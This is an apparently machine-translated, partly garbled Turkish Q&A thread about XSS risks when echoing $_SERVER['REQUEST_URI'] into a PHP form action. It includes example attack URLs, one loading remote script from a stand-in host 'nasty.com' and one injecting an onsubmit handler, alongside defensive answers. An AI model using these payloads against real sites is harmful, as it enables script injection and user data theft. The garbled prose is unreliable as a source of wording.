Sayfaya bir sunucu değişkeni echo'ing zaman güvenlik ile tüm üsleri örtülü var?

5 Cevap php

Formları ile hep kullandım

<form method="post" action="<?php echo strip_tags($_SERVER['REQUEST_URI']); ?>">

Benim formlar kendilerine teslim almak için.

I striptags() Birisi bağlanan durumda kullanın:

http://www.mysite.com/page-with-form.php?bla="><script src="http://www.nasty.com/super-nasty.js"></script><a href="#

Ben XSS saldırılarından korumak için, ya da ben sadece alfanümerik karakterleri sağlayan bir regex demek, bir daha beyaz liste yaklaşım kullanmanız gerekir, tüm üsleri örtülü var, eğik çizgi, soru işareti, parantez vb, eşittir işareti?

Teşekkür ederiz!

5 Cevap

Kullan htmlspecialchars instead of strip_tags.

If you want to reference the same schema/host/path a simple action="?" schould suffice. According to http://tools.ietf.org/html/rfc3986#section-4.2

relative-ref  = relative-part [ "?" query ] [ "#" fragment ]

      relative-part = "//" authority path-abempty
                    / path-absolute
                    / path-noscheme
                    / path-empty

geçerli bir göreli uri bulunuyor.

Bir form, bu göndererek kendisine teslim vardır:

$_SERVER["PHP_SELF"]

Bu global değişken irade çıkış geçerli sayfa. Eğer onunla birlikte tüm sorgu dizesi gereken bir nedeniniz yoksa?

EDIT

Gibi yorumlarda VolkerK tarafından işaret yana, hatta PHP_SELF savunmasız, kendi küçük değişken PHP_SELF kapalı tabanlı yazmak ve biliyorum URI kalanını patlayabilir sayfanızın parçası değil. Böyle bir şey:

$file_ext = '.php'; //knowing what file extension your URI is
$page_on = $_SERVER["PHP_SELF"]; //grab this page, with all that junk
$page_huh = explode($file_ext, $page_on); //blow it apart based on file ext
$page_on = $page_huh[0].$file_ext; //attach the leg back onto the URI

echo $page_on;

Için striptags() sadece etiketleri (köşeli parantez içeren "<" ve ">" karakterleri arasında) şeritler varsa, birisi hala javascript enjekte edebilir:

http://www.mysite.com/page-with-form.php?bla=" onsubmit="return function(){ /*nasty code here*/ }()" style="

Iyi beyaz liste, HTML, Javascript ve CSS her türlü meta-karakter (yani köşeli parantez, parantez, parantez, yarı-kolonlar, çift tırnak, tek tırnak, vb.)

Form kendisine göndermek istiyorsanız, sadece eylem boş örneğin bırakın

<form action="" method="POST">
...
</form>